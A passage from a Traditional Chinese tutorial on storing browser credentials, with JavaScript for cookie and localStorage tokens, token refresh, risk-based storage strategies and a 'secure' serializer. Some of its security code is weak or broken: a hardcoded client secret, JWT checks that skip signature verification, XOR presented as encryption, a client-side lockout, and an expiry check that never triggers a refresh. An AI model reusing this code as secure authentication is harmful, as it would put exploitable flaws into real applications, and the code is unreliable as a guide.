      if (storageData.expiresAt && Date.now() > storageData.expiresAt) {
        localStorage.removeItem(key);
        return null;
      }
      
      return storageData.data;
    } catch (e) {
      console.error('解析LocalStorage失敗:', e);
      localStorage.removeItem(key);
      return null;
    }
  }
  
  // 檢查是否需要刷新
  shouldRefresh(cookieData) {
    if (!cookieData || !cookieData.ts) return false;
    
    const age = Date.now() - cookieData.ts;
    const refreshThreshold = this.options.cookieLifespan * 1000 * 0.8; // 80%的生命週期
    
    return age > refreshThreshold;
  }
  
  // 刷新憑證
  async refreshCredentials(existingData) {
    // 這裡應該調用API獲取新的令牌
    console.log('刷新憑證...');
    
    // 模擬API調用
    const newToken = await this.fetchNewToken(existingData.token);
    
    if (newToken) {
      await this.storeCredentials({
        token: newToken,
        userData: existingData.userData,
        metadata: existingData.metadata
      });
      
      return true;
    }
    
    return false;
  }
  
  // 模擬獲取新令牌
  async fetchNewToken(oldToken) {
    // 實際實現中應該調用刷新令牌的API
    return new Promise(resolve => {
      setTimeout(() => {
        // 這裡應該返回新的令牌
        resolve(`new_token_${Date.now()}`);
      }, 100);
    });
  }
  
  // 清除憑證
  clearCredentials() {
    // 清除Cookie
    document.cookie = `${this.options.cookieName}=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT`;
    
    // 清除LocalStorage
    localStorage.removeItem(this.options.localStorageKey);
    
    return true;
  }
}

// 憑證驗證器
class CredentialValidator {
  constructor() {
    this.validationSecret = 'application_specific_secret';
  }
  
  // 生成驗證哈希
  async generateValidationHash(token, userData) {
    const dataString = `${token}:${JSON.stringify(userData)}:${this.validationSecret}`;
    
    // 使用SHA-256
    const encoder = new TextEncoder();
    const data = encoder.encode(dataString);
    
    const hashBuffer = await crypto.subtle.digest('SHA-256', data);
    const hashArray = Array.from(new Uint8Array(hashBuffer));
    const hashHex = hashArray.map(b => b.toString(16).padStart(2, '0')).join('');
    
    return hashHex.substring(0, 32); // 返回前32個字符
  }
  
  // 簽名數據
  async signData(data) {
    const dataString = JSON.stringify(data);
    const encoder = new TextEncoder();
    const dataBuffer = encoder.encode(dataString);
    
    const key = await this.getSigningKey();
    const signature = await crypto.subtle.sign(
      'HMAC',
      key,
      dataBuffer
    );
    
    return this.arrayBufferToBase64(signature);
  }
  
  // 驗證簽名
  async verifySignature(data, signature) {
    try {
      const dataString = JSON.stringify(data);
      const encoder = new TextEncoder();
      const dataBuffer = encoder.encode(dataString);
      
      const key = await this.getSigningKey();
      const signatureBuffer = this.base64ToArrayBuffer(signature);
      
      return await crypto.subtle.verify(
        'HMAC',
        key,
        signatureBuffer,
        dataBuffer
      );
    } catch (e) {
      console.error('驗證簽名失敗:', e);
      return false;
    }
  }
  
  // 獲取簽名密鑰
  async getSigningKey() {
    const encoder = new TextEncoder();
    const keyMaterial = encoder.encode(this.validationSecret);
    
    return await crypto.subtle.importKey(
      'raw',
      keyMaterial,
      { name: 'HMAC', hash: 'SHA-256' },
      false,
      ['sign', 'verify']
    );
  }
  
  // 驗證令牌
  async validateToken(token) {
    // 基本驗證
    if (!token || typeof token !== 'string') {
      return false;
    }
    
    // 檢查長度
    if (token.length < 10) {
      return false;
    }
    
    // 這裡可以添加JWT驗證邏輯
    // 示例:檢查是否為JWT格式
    if (token.split('.').length === 3) {
      return this.validateJWT(token);
    }
    
    return true;
  }
  
  // 驗證JWT令牌
  async validateJWT(token) {
    try {
      const parts = token.split('.');
      if (parts.length !== 3) return false;
      
      const header = JSON.parse(atob(parts[0]));
      const payload = JSON.parse(atob(parts[1]));
      
      // 檢查過期時間
      if (payload.exp && Date.now() >= payload.exp * 1000) {
        return false;
      }
      
      // 檢查生效時間
      if (payload.nbf && Date.now() < payload.nbf * 1000) {
        return false;
      }
      
      return true;
    } catch (e) {
      console.error('JWT驗證失敗:', e);
      return false;
    }
  }
  
  // ArrayBuffer轉Base64
  arrayBufferToBase64(buffer) {
    const bytes = new Uint8Array(buffer);
    let binary = '';
    for (let i = 0; i < bytes.byteLength; i++) {
      binary += String.fromCharCode(bytes[i]);
    }
    return btoa(binary);
  }
  
  // Base64轉ArrayBuffer
  base64ToArrayBuffer(base64) {
    const binary = atob(base64);
    const bytes = new Uint8Array(binary.length);
    for (let i = 0; i < binary.length; i++) {
      bytes[i] = binary.charCodeAt(i);
    }
    return bytes.buffer;
  }
}

// 使用示例
const hybridStorage = new HybridCredentialStorage({
  cookieName: 'app_auth',
  localStorageKey: 'app_auth_backup',
  cookieLifespan: 3600, // 1小時
  localStorageLifespan: 7 * 24 * 60 * 60 * 1000, // 7天
  requireConsistency: true
});

// 存儲憑證
async function loginUser(username, password) {
  // 模擬API登入
  const response = await fetch('/api/login', {
    method: 'POST',
    body: JSON.stringify({ username, password })
  });
  
  const data = await response.json();
  
  if (data.success) {
    await hybridStorage.storeCredentials({
      token: data.token,
      userData: data.user,
      metadata: {
        loginTime: new Date().toISOString(),
        ip: data.ip
      }
    });
    
    return true;
  }
  
  return false;
}

// 檢查登入狀態
async function checkAuthStatus() {
  const result = await hybridStorage.retrieveCredentials();
  
  if (result.valid) {
    console.log('用戶已認證:', result.userData);
    return result;
  } else {
    console.log('認證失敗:', result.reason);
    
    // 重定向到登入頁面
    if (result.reason === 'no_credentials' || result.reason === 'invalid_token') {
      window.location.href = '/login';
    }
    
    return null;
  }
}

5.2 令牌刷新機制

javascript

// 自動令牌刷新系統
class TokenRefreshManager {
  constructor(options = {}) {
    this.options = {
      refreshEndpoint: '/api/auth/refresh',
      refreshThreshold: 0.8, // 在令牌過期前80%時刷新
      maxRetries: 3,
      retryDelay: 1000,
      ...options
    };
    
    this.storage = new HybridCredentialStorage();
    this.isRefreshing = false;
    this.refreshQueue = [];
    this.setupAutoRefresh();
  }
  
  // 設置自動刷新
  setupAutoRefresh() {
    // 檢查當前令牌狀態
    this.checkTokenExpiry();
    
    // 設置定時檢查
    setInterval(() => {
      this.checkTokenExpiry();
    }, 60 * 1000); // 每分鐘檢查一次
    
    // 監聽頁面可見性變化
    document.addEventListener('visibilitychange', () => {
      if (!document.hidden) {
        this.checkTokenExpiry();
      }
    });
  }
  
  // 檢查令牌過期時間
  async checkTokenExpiry() {
    if (this.isRefreshing) return;
    
    const credentials = await this.storage.retrieveCredentials();
    
    if (!credentials.valid || !credentials.token) return;
    
    // 解析JWT令牌獲取過期時間
    const expiryTime = this.getTokenExpiry(credentials.token);
    
    if (!expiryTime) return;
    
    const now = Date.now();
    const timeUntilExpiry = expiryTime - now;
    const refreshTime = this.options.refreshThreshold * timeUntilExpiry;
    
    // 如果接近過期,觸發刷新
    if (timeUntilExpiry > 0 && timeUntilExpiry <= refreshTime) {
      console.log('令牌即將過期,開始刷新...');
      this.refreshToken();
    }
  }
  
  // 獲取令牌過期時間
  getTokenExpiry(token) {
    try {
      const parts = token.split('.');
      if (parts.length !== 3) return null;
      
      const payload = JSON.parse(atob(parts[1]));
      
      if (payload.exp) {
        return payload.exp * 1000; // 轉換為毫秒
      }
      
      return null;
    } catch (e) {
      console.error('解析令牌失敗:', e);
      return null;
    }
  }
  
  // 刷新令牌
  async refreshToken() {
    if (this.isRefreshing) {
      return new Promise((resolve, reject) => {
        this.refreshQueue.push({ resolve, reject });
      });
    }
    
    this.isRefreshing = true;
    
    try {
      const credentials = await this.storage.retrieveCredentials();
      
      if (!credentials.valid) {
        throw new Error('無效的憑證');
      }
      
      // 發送刷新請求
      const newToken = await this.requestTokenRefresh(credentials.token);
      
      if (!newToken) {
        throw new Error('刷新令牌失敗');
      }
      
      // 更新存儲
      await this.storage.storeCredentials({
        token: newToken,
        userData: credentials.userData,
        metadata: credentials.metadata
      });
      
      console.log('令牌刷新成功');
      
      // 處理等待中的請求
      this.processRefreshQueue(null, newToken);
      
      return newToken;
    } catch (error) {
      console.error('令牌刷新失敗:', error);
      
      // 處理等待中的請求
      this.processRefreshQueue(error);
      
      // 根據錯誤類型處理
      if (error.message.includes('無效') || error.message.includes('過期')) {
        this.handleInvalidToken();
      }
      
      throw error;
    } finally {
      this.isRefreshing = false;
    }
  }
  
  // 處理刷新隊列
  processRefreshQueue(error, newToken = null) {
    this.refreshQueue.forEach(({ resolve, reject }) => {
      if (error) {
        reject(error);
      } else {
        resolve(newToken);
      }
    });
    
    this.refreshQueue = [];
  }
  
  // 請求令牌刷新
  async requestTokenRefresh(oldToken) {
    let retries = 0;
    
    while (retries <= this.options.maxRetries) {
      try {
        const response = await fetch(this.options.refreshEndpoint, {
          method: 'POST',
          headers: {
            'Authorization': `Bearer ${oldToken}`,
            'Content-Type': 'application/json'
          },
          body: JSON.stringify({ token: oldToken })
        });
        
        if (response.status === 401) {
          throw new Error('刷新令牌已過期');
        }
        
        if (!response.ok) {
          throw new Error(`刷新失敗: ${response.status}`);
        }
        
        const data = await response.json();
        
        if (!data.token) {
          throw new Error('無效的響應格式');
        }
        
        return data.token;
      } catch (error) {
        retries++;
        
        if (retries > this.options.maxRetries) {
          throw error;
        }
        
        console.log(`刷新重試 ${retries}/${this.options.maxRetries}...`);
        
        // 指數退避延遲
        const delay = this.options.retryDelay * Math.pow(2, retries - 1);
        await this.sleep(delay);
      }
    }
  }
  
  // 處理無效令牌
  handleInvalidToken() {
    // 清除本地憑證
    this.storage.clearCredentials();
    
    // 顯示通知
    this.showExpirationNotification();
    
    // 重定向到登入頁面
    setTimeout(() => {
      window.location.href = '/login?expired=true';
    }, 3000);
  }
  
  // 顯示過期通知
  showExpirationNotification() {
    // 創建通知元素
    const notification = document.createElement('div');
    notification.style.cssText = `
      position: fixed;
      top: 20px;
      right: 20px;
      background: #f44336;
      color: white;
      padding: 15px;
      border-radius: 5px;
      z-index: 10000;
      max-width: 300px;
      box-shadow: 0 2px 10px rgba(0,0,0,0.2);
    `;
    
    notification.innerHTML = `
      <strong>會話已過期</strong>
      <p>您的登入會話已過期,請重新登入。</p>
      <p>3秒後跳轉到登入頁面...</p>
    `;
    
    document.body.appendChild(notification);
    
    // 3秒後移除通知
    setTimeout(() => {
      if (notification.parentNode) {
        notification.parentNode.removeChild(notification);
      }
    }, 3000);
  }
  
  // 工具函數:等待
  sleep(ms) {
    return new Promise(resolve => setTimeout(resolve, ms));
  }
  
  // 獲取當前令牌
  async getCurrentToken() {
    const credentials = await this.storage.retrieveCredentials();
    
    if (!credentials.valid) {
      throw new Error('無有效的憑證');
    }
    
    // 檢查令牌是否即將過期
    const expiryTime = this.getTokenExpiry(credentials.token);
    
    if (expiryTime) {
      const timeUntilExpiry = expiryTime - Date.now();
      const refreshThreshold = 5 * 60 * 1000; // 5分鐘
      
      if (timeUntilExpiry < refreshThreshold) {
        // 令牌即將過期,嘗試刷新
        try {
          return await this.refreshToken();
        } catch (error) {
          // 刷新失敗,返回當前令牌(可能很快過期)
          console.warn('刷新令牌失敗,使用當前令牌:', error.message);
        }
      }
    }
    
    return credentials.token;
  }
  
  // 包裝fetch請求,自動處理令牌
  async fetchWithAuth(url, options = {}) {
    const token = await this.getCurrentToken();
    
    const authHeaders = {
      'Authorization': `Bearer ${token}`,
      ...options.headers
    };
    
    const fetchOptions = {
      ...options,
      headers: authHeaders
    };
    
    let response = await fetch(url, fetchOptions);
    
    // 如果令牌過期,嘗試刷新後重試
    if (response.status === 401) {
      console.log('請求返回401,嘗試刷新令牌...');
      
      try {
        const newToken = await this.refreshToken();
        
        // 使用新令牌重試請求
        authHeaders['Authorization'] = `Bearer ${newToken}`;
        response = await fetch(url, fetchOptions);
      } catch (refreshError) {
        console.error('刷新令牌失敗,無法重試請求:', refreshError);
        throw refreshError;
      }
    }
    
    return response;
  }
}

// 使用示例
const tokenManager = new TokenRefreshManager({
  refreshEndpoint: '/api/auth/refresh',
  refreshThreshold: 0.8,
  maxRetries: 3
});

// 使用包裝的fetch進行API調用
async function fetchUserData() {
  try {
    const response = await tokenManager.fetchWithAuth('/api/user/profile');
    return await response.json();
  } catch (error) {
    console.error('獲取用戶數據失敗:', error);
    throw error;
  }
}

// 手動刷新令牌
async function manualRefresh() {
  try {
    const newToken = await tokenManager.refreshToken();
    console.log('手動刷新成功,新令牌:', newToken.substring(0, 20) + '...');
    return true;
  } catch (error) {
    console.error('手動刷新失敗:', error);
    return false;
  }
}

第六章:進階安全策略

6.1 基於時間的動態存儲策略

javascript

// 動態存儲策略管理器
class DynamicStorageStrategy {
  constructor() {
    this.strategies = {
      HIGH_SECURITY: 'high',
      BALANCED: 'balanced',
      PERFORMANCE: 'performance',
      OFFLINE: 'offline'
    };
    
    this.currentStrategy = this.strategies.BALANCED;
    this.securityLevels = {
      [this.strategies.HIGH_SECURITY]: {
        cookieLifespan: 900, // 15分鐘
        localStorageLifespan: 3600 * 1000, // 1小時
        encryptionRequired: true,
        doubleValidation: true,
        refreshThreshold: 0.5,
        cleanupInterval: 300000 // 5分鐘
      },
      [this.strategies.BALANCED]: {
        cookieLifespan: 3600, // 1小時
        localStorageLifespan: 24 * 3600 * 1000, // 24小時
        encryptionRequired: true,
        doubleValidation: false,
        refreshThreshold: 0.8,
        cleanupInterval: 3600000 // 1小時
      },
      [this.strategies.PERFORMANCE]: {
        cookieLifespan: 86400, // 24小時
        localStorageLifespan: 7 * 24 * 3600 * 1000, // 7天
        encryptionRequired: false,
        doubleValidation: false,
        refreshThreshold: 0.9,
        cleanupInterval: 86400000 // 24小時
      },
      [this.strategies.OFFLINE]: {
        cookieLifespan: 2592000, // 30天
        localStorageLifespan: 30 * 24 * 3600 * 1000, // 30天
        encryptionRequired: true,
        doubleValidation: true,
        refreshThreshold: 1.0,
        cleanupInterval: 604800000 // 7天
      }
    };
    
    this.riskFactors = {
      failedLoginAttempts: 0,
      suspiciousActivity: false,
      deviceChange: false,
      locationChange: false,
      timeSinceLastAuth: 0
    };
    
    this.initialize();
  }
  
  // 初始化
  initialize() {
    this.loadRiskAssessment();
    this.determineOptimalStrategy();
    this.setupMonitoring();
  }
  
  // 載入風險評估
  loadRiskAssessment() {
    const storedRisk = localStorage.getItem('risk_assessment');
    
    if (storedRisk) {
      try {
        this.riskFactors = JSON.parse(storedRisk);
      } catch (e) {
        console.error('解析風險評估失敗:', e);
      }
    }
  }
  
  // 確定最佳策略
  determineOptimalStrategy() {
    const riskScore = this.calculateRiskScore();
    
    if (riskScore >= 0.7) {
      this.currentStrategy = this.strategies.HIGH_SECURITY;
    } else if (riskScore >= 0.4) {
      this.currentStrategy = this.strategies.BALANCED;
    } else if (riskScore >= 0.1) {
      this.currentStrategy = this.strategies.PERFORMANCE;
    } else {
      // 檢查是否為離線模式
      if (!navigator.onLine) {
        this.currentStrategy = this.strategies.OFFLINE;
      } else {
        this.currentStrategy = this.strategies.PERFORMANCE;
      }
    }
    
    console.log(`當前安全策略: ${this.currentStrategy}, 風險分數: ${riskScore.toFixed(2)}`);
    
    return this.currentStrategy;
  }
  
  // 計算風險分數
  calculateRiskScore() {
    let score = 0;
    
    // 失敗登入嘗試
    score += Math.min(this.riskFactors.failedLoginAttempts * 0.1, 0.3);
    
    // 可疑活動
    if (this.riskFactors.suspiciousActivity) score += 0.3;
    
    // 設備變更
    if (this.riskFactors.deviceChange) score += 0.2;
    
    // 位置變更
    if (this.riskFactors.locationChange) score += 0.1;
    
    // 距離上次認證的時間
    const hoursSinceAuth = this.riskFactors.timeSinceLastAuth / 3600000;
    score += Math.min(hoursSinceAuth * 0.05, 0.2);
    
    return Math.min(score, 1.0);
  }
  
  // 設置監控
  setupMonitoring() {
    // 監聽網路狀態
    window.addEventListener('online', () => this.handleNetworkChange(true));
    window.addEventListener('offline', () => this.handleNetworkChange(false));
    
    // 監聽頁面可見性
    document.addEventListener('visibilitychange', () => {
      if (document.hidden) {
        this.handlePageHidden();
      } else {
        this.handlePageVisible();
      }
    });
    
    // 定期重新評估
    setInterval(() => {
      this.updateRiskFactors();
      this.determineOptimalStrategy();
    }, 5 * 60 * 1000); // 每5分鐘
  }
  
  // 處理網路變更
  handleNetworkChange(isOnline) {
    if (!isOnline) {
      console.log('切換到離線模式');
      this.currentStrategy = this.strategies.OFFLINE;
      this.notifyStrategyChange();
    } else {
      this.determineOptimalStrategy();
    }
  }
  
  // 處理頁面隱藏
  handlePageHidden() {
    // 頁面隱藏時,增加安全級別
    const previousStrategy = this.currentStrategy;
    this.currentStrategy = this.strategies.HIGH_SECURITY;
    
    if (previousStrategy !== this.currentStrategy) {
      console.log('頁面隱藏,提升安全級別');
      this.applySecurityMeasures();
    }
  }
  
  // 處理頁面可見
  handlePageVisible() {
    // 頁面再次可見時,重新評估策略
    this.determineOptimalStrategy();
  }
  
  // 應用安全措施
  applySecurityMeasures() {
    const strategy = this.securityLevels[this.currentStrategy];
    
    // 清理過期數據
    if (strategy.cleanupInterval) {
      this.cleanupStorage(strategy);
    }
    
    // 應用加密要求
    if (strategy.encryptionRequired) {
      this.enableEncryption();
    }
    
    // 通知其他組件策略變更
    this.notifyStrategyChange();
  }
  
  // 清理存儲
  cleanupStorage(strategy) {
    const now = Date.now();
    const keys = Object.keys(localStorage);
    
    keys.forEach(key => {
      // 跳過關鍵系統鍵
      if (key.startsWith('system_') || key.startsWith('risk_')) return;
      
      try {
        const item = localStorage.getItem(key);
        const data = JSON.parse(item);
        
        if (data && data.timestamp) {
          const age = now - data.timestamp;
          
          // 根據策略決定清理閾值
          const maxAge = strategy.localStorageLifespan * 0.8;
          
          if (age > maxAge) {
            localStorage.removeItem(key);
            console.log(`清理過期數據: ${key}`);
          }
        }
      } catch (e) {
        // 解析失敗,可能不是JSON數據
      }
    });
  }
  
  // 啟用加密
  enableEncryption() {
    // 這裡可以實現對現有數據的加密
    console.log('啟用存儲加密');
  }
  
  // 通知策略變更
  notifyStrategyChange() {
    // 發送自定義事件,讓其他組件可以響應
    const event = new CustomEvent('securityStrategyChange', {
      detail: {
        strategy: this.currentStrategy,
        config: this.securityLevels[this.currentStrategy]
      }
    });
    
    window.dispatchEvent(event);
  }
  
  // 更新風險因素
  updateRiskFactors() {
    // 更新距離上次認證的時間
    const lastAuth = localStorage.getItem('last_auth_time');
    if (lastAuth) {
      this.riskFactors.timeSinceLastAuth = Date.now() - parseInt(lastAuth);
    }
    
    // 檢查設備指紋
    this.checkDeviceFingerprint();
    
    // 保存更新後的風險評估
    localStorage.setItem('risk_assessment', JSON.stringify(this.riskFactors));
  }
  
  // 檢查設備指紋
  checkDeviceFingerprint() {
    const currentFingerprint = this.generateDeviceFingerprint();
    const storedFingerprint = localStorage.getItem('device_fingerprint');
    
    if (storedFingerprint && storedFingerprint !== currentFingerprint) {
      console.warn('設備指紋變更,可能為不同設備');
      this.riskFactors.deviceChange = true;
      
      // 觸發重新認證
      this.triggerReauthentication();
    } else if (!storedFingerprint) {
      // 首次設置設備指紋
      localStorage.setItem('device_fingerprint', currentFingerprint);
    }
  }
  
  // 生成設備指紋
  generateDeviceFingerprint() {
    const components = [
      navigator.userAgent,
      navigator.language,
      screen.width + 'x' + screen.height,
      new Date().getTimezoneOffset(),
      !!navigator.cookieEnabled,
      !!navigator.javaEnabled(),
      navigator.hardwareConcurrency || 'unknown'
    ];
    
    const fingerprintString = components.join('|');
    
    // 簡單哈希
    let hash = 0;
    for (let i = 0; i < fingerprintString.length; i++) {
      const char = fingerprintString.charCodeAt(i);
      hash = ((hash << 5) - hash) + char;
      hash = hash & hash;
    }
    
    return Math.abs(hash).toString(16);
  }
  
  // 觸發重新認證
  triggerReauthentication() {
    // 這裡可以實現重新認證邏輯
    console.log('觸發重新認證流程');
    
    // 例如:清除敏感數據,重定向到登入頁面
    const event = new CustomEvent('reauthenticationRequired', {
      detail: { reason: 'device_change' }
    });
    
    window.dispatchEvent(event);
  }
  
  // 記錄失敗登入嘗試
  recordFailedLogin() {
    this.riskFactors.failedLoginAttempts++;
    this.determineOptimalStrategy();
    
    // 如果失敗次數過多,採取額外措施
    if (this.riskFactors.failedLoginAttempts >= 5) {
      this.lockAccountTemporarily();
    }
  }
  
  // 暫時鎖定帳戶
  lockAccountTemporarily() {
    const lockUntil = Date.now() + (15 * 60 * 1000); // 15分鐘
    
    localStorage.setItem('account_locked_until', lockUntil.toString());
    
    console.warn('帳戶因多次失敗嘗試被暫時鎖定');
    
    // 通知用戶
    this.showLockoutNotification(lockUntil);
  }
  
  // 顯示鎖定通知
  showLockoutNotification(lockUntil) {
    // 實現通知邏輯
  }
  
  // 獲取當前策略配置
  getCurrentConfig() {
    return {
      strategy: this.currentStrategy,
      config: this.securityLevels[this.currentStrategy],
      riskScore: this.calculateRiskScore(),
      riskFactors: { ...this.riskFactors }
    };
  }
  
  // 手動設置策略
  setStrategy(strategy) {
    if (Object.values(this.strategies).includes(strategy)) {
      this.currentStrategy = strategy;
      this.applySecurityMeasures();
      return true;
    }
    
    return false;
  }
}

// 使用示例
const securityManager = new DynamicStorageStrategy();

// 監聽策略變更
window.addEventListener('securityStrategyChange', (event) => {
  console.log('安全策略已變更:', event.detail.strategy);
  
  // 根據新策略調整應用行為
  const config = event.detail.config;
  
  // 例如:調整會話超時時間
  if (window.sessionManager) {
    window.sessionManager.adjustTimeout(config.cookieLifespan);
  }
});

// 監聽重新認證要求
window.addEventListener('reauthenticationRequired', (event) => {
  console.log('需要重新認證,原因:', event.detail.reason);
  
  // 清除用戶數據
  localStorage.removeItem('user_data');
  localStorage.removeItem('auth_token');
  
  // 重定向到登入頁面
  window.location.href = `/login?reason=${encodeURIComponent(event.detail.reason)}`;
});

// 獲取當前安全狀態
function getSecurityStatus() {
  return securityManager.getCurrentConfig();
}

// 記錄安全事件
function recordSecurityEvent(type, details) {
  const events = JSON.parse(localStorage.getItem('security_events') || '[]');
  
  events.push({
    type,
    details,
    timestamp: new Date().toISOString(),
    strategy: securityManager.currentStrategy
  });
  
  // 只保留最近的100個事件
  if (events.length > 100) {
    events.shift();
  }
  
  localStorage.setItem('security_events', JSON.stringify(events));
  
  // 根據事件類型更新風險因素
  if (type === 'failed_login') {
    securityManager.recordFailedLogin();
  } else if (type === 'suspicious_activity') {
    securityManager.riskFactors.suspiciousActivity = true;
  }
}

6.2 安全的數據序列化和反序列化

javascript

// 安全序列化系統
class SecureSerializer {
  constructor() {
    this.reviver = this.createReviver();
    this.replacer = this.createReplacer();
    this.sensitivePatterns = [
      /password/i,
      /token/i,
      /secret/i,
      /credit.?card/i,
      /ssn|social.?security/i,
      /api.?key/i
    ];
  }
  
  // 創建安全的reviver函數
  createReviver() {
    return (key, value) => {
      // 檢查是否為敏感鍵
      if (key && this.isSensitiveKey(key)) {
        return this.decryptSensitiveValue(value);
      }
      
      // 處理特殊值
      if (value && typeof value === 'object') {
        // 防止原型污染
        if (value.__proto__ !== Object.prototype && 
            value.__proto__ !== Array.prototype) {
          return null;
        }
        
        // 檢查循環引用
        try {
          JSON.stringify(value);
        } catch (e) {
          console.warn('檢測到循環引用,跳過此對象');
          return null;
        }
      }
      
      // 處理日期字符串
      if (typeof value === 'string' && this.isDateString(value)) {
        const date = new Date(value);
        if (!isNaN(date.getTime())) {
          return date;
        }
      }
      
      return value;
    };
  }
  
  // 創建安全的replacer函數
  createReplacer() {
    return (key, value) => {
      // 檢查是否為敏感鍵
      if (key && this.isSensitiveKey(key)) {
        return this.encryptSensitiveValue(value);
      }
      
      // 處理特殊類型
      if (value instanceof Date) {
        return value.toISOString();
      }
      
      if (value instanceof RegExp) {
        return value.toString();
      }
      
      if (value instanceof Error) {
        return {
          __type: 'Error',
          name: value.name,
          message: value.message,
          stack: value.stack
        };
      }
      
      // 防止循環引用
      if (typeof value === 'object' && value !== null) {
        try {
          JSON.stringify(value);
        } catch (e) {
          return {
            __type: 'Unserializable',
            message: '無法序列化的對象'
          };
        }
      }
      
      return value;
    };
  }
  
  // 檢查是否為敏感鍵
  isSensitiveKey(key) {
    return this.sensitivePatterns.some(pattern => pattern.test(key));
  }
  
  // 加密敏感值
  encryptSensitiveValue(value) {
    if (typeof value !== 'string') {
      value = JSON.stringify(value);
    }
    
    // 簡單的混淆(生產環境應使用強加密)
    let result = '';
    for (let i = 0; i < value.length; i++) {
      const charCode = value.charCodeAt(i) ^ 0x55; // 簡單的XOR加密
      result += String.fromCharCode(charCode);
    }
    
    return {
      __encrypted: true,
      data: btoa(result)
    };
  }
  
  // 解密敏感值
  decryptSensitiveValue(value) {
    if (value && value.__encrypted && value.data) {
      try {
        const decoded = atob(value.data);
        let result = '';
        
        for (let i = 0; i < decoded.length; i++) {
          const charCode = decoded.charCodeAt(i) ^ 0x55; // XOR解密
          result += String.fromCharCode(charCode);
        }
        
        // 嘗試解析為JSON
        try {
          return JSON.parse(result);
        } catch (e) {
          return result;
        }
      } catch (e) {
        console.error('解密失敗:', e);
        return null;
      }
    }
    
    return value;
  }
  
  // 檢查是否為日期字符串
  isDateString(str) {
    return /^\d{4}-\d{2}-\d{2}T\d{2}:\d{2}:\d{2}/.test(str);
  }
  
  // 安全序列化
  serialize(obj, options = {}) {
    const defaults = {
      pretty: false,
      secure: true,
      maxDepth: 10
    };
    
    const config = { ...defaults, ...options };
    
    // 檢查循環引用和深度
    const checkedObj = this.checkObject(obj, config.maxDepth);
    
    let replacer = this.replacer;
    
    if (!config.secure) {
      replacer = null;
    }
    
    try {
      if (config.pretty) {
        return JSON.stringify(checkedObj, replacer, 2);
      } else {
        return JSON.stringify(checkedObj, replacer);
      }
    } catch (error) {
      console.error('序列化失敗:', error);
      
      // 嘗試修復序列化
      return this.fallbackSerialize(checkedObj);
    }
  }
  
  // 安全反序列化
  deserialize(str, options = {}) {
    const defaults = {
      secure: true,
      strict: false
    };
    
    const config = { ...defaults, ...options };
    
    if (typeof str !== 'string') {
      if (config.strict) {
        throw new TypeError('輸入必須是字符串');
      }
      return str;
    }
    
    let reviver = this.reviver;
    
    if (!config.secure) {
      reviver = null;
    }
    
    try {
      return JSON.parse(str, reviver);
    } catch (error) {
      console.error('反序列化失敗:', error);
      
      if (config.strict) {
        throw error;
      }
      
      // 嘗試修復
      return this.fallbackDeserialize(str);
    }
  }
  
  // 檢查對象深度和循環引用
  checkObject(obj, maxDepth, currentDepth = 0, seen = new WeakSet()) {
    if (currentDepth > maxDepth) {
      return { __error: '超出最大深度' };
    }
    
    if (obj === null || typeof obj !== 'object') {
      return obj;
    }
    
    // 檢查循環引用
    if (seen.has(obj)) {
      return { __error: '循環引用檢測' };
    }
    
    seen.add(obj);
    
    // 處理數組
    if (Array.isArray(obj)) {
      return obj.map(item => 
        this.checkObject(item, maxDepth, currentDepth + 1, seen)
      );
    }
    
    // 處理普通對象
    const result = {};
    
    for (const key in obj) {
      if (obj.hasOwnProperty(key)) {
        result[key] = this.checkObject(
          obj[key], 
          maxDepth, 
          currentDepth + 1, 
          seen
        );
      }
    }
    
    return result;
  }
  
  // 後備序列化
  fallbackSerialize(obj) {
    const result = {};
    
    for (const key in obj) {
      if (obj.hasOwnProperty(key)) {
        const value = obj[key];
        
        if (value === undefined) {
          result[key] = null;
        } else if (typeof value === 'function') {
          result[key] = { __type: 'Function' };
        } else if (value instanceof HTMLElement) {
          result[key] = { __type: 'HTMLElement', tag: value.tagName };
        } else {
          try {
            result[key] = value;
          } catch (e) {
            result[key] = { __error: '無法序列化' };
          }
        }
      }
    }
    
    return JSON.stringify(result);
  }
  
  // 後備反序列化
  fallbackDeserialize(str) {
    try {
      // 嘗試修復常見的JSON問題
      let fixedStr = str
        .replace(/'/g, '"')  // 單引號轉雙引號
        .replace(/,\s*]/g, ']')  // 移除尾隨逗號
        .replace(/,\s*}/g, '}')  // 移除尾隨逗號
        .replace(/:\s*'/g, ': "')  // 屬性值單引號轉雙引號
        .replace(/'\s*([,}])/g, '"$1');  // 結尾單引號轉雙引號
      
      return JSON.parse(fixedStr);
    } catch (e) {
      console.error('後備反序列化失敗:', e);
      return { __error: '無法解析數據' };
    }
  }
  
  // 深度克隆(使用序列化/反序列化)
  deepClone(obj, options = {}) {
    const serialized = this.serialize(obj, options);
    return this.deserialize(serialized, options);
  }
  
  // 安全合併對象
  safeMerge(target, source, options = {}) {
    const defaults = {
      deep: true,
      overwrite: true,
      secure: true
    };
    
    const config = { ...defaults, ...options };
    
    if (!source || typeof source !== 'object') {
      return this.deepClone(target, { secure: config.secure });
    }
    
    const result = this.deepClone(target, { secure: config.secure });
    
    for (const key in source) {
      if (source.hasOwnProperty(key)) {
        const sourceValue = source[key];
        const targetValue = result[key];
        
        if (config.deep && 
            typeof sourceValue === 'object' && 
            sourceValue !== null &&
            typeof targetValue === 'object' &&
            targetValue !== null &&
            !Array.isArray(sourceValue)) {
          
          result[key] = this.safeMerge(
            targetValue, 
            sourceValue, 
            config
          );
        } else if (config.overwrite || targetValue === undefined) {
          result[key] = this.deepClone(sourceValue, { secure: config.secure });
        }
      }
    }
    
    return result;
  }
}

// 使用示例
const serializer = new SecureSerializer();

// 序列化包含敏感數據的對象
const userData = {
  username: 'john_doe',
  password: 'secret123', // 敏感數據
  email: 'john@example.com',
  preferences: {
    theme: 'dark',
    notifications: true
  },
  apiTokens: [
    { name: 'github', token: 'ghp_abc123' } // 敏感數據
  ],
  lastLogin: new Date()
};

// 安全序列化(自動加密敏感字段)
const serialized = serializer.serialize(userData, { pretty: true });
console.log('安全序列化結果:', serialized);

// 安全反序列化(自動解密敏感字段)
const deserialized = serializer.deserialize(serialized);
console.log('安全反序列化結果:', deserialized);

// 深度克隆
const clonedData = serializer.deepClone(userData);
console.log('深度克隆結果:', clonedData);

// 安全合併
const additionalData = {
  password: 'newSecret456', // 會自動加密
  settings: { language: 'zh-TW' }
};

const merged = serializer.safeMerge(userData, additionalData);
console.log('安全合併結果:', merged);

第七章:實戰案例與最佳實踐

7.1 完整的安全存儲系統實現

javascript

// 完整的安全存儲系統
class CompleteSecureStorage {
  constructor(appName, options = {}) {
    this.appName = appName;
    this.options = {
      encryptionEnabled: true,
      compressionEnabled: false,
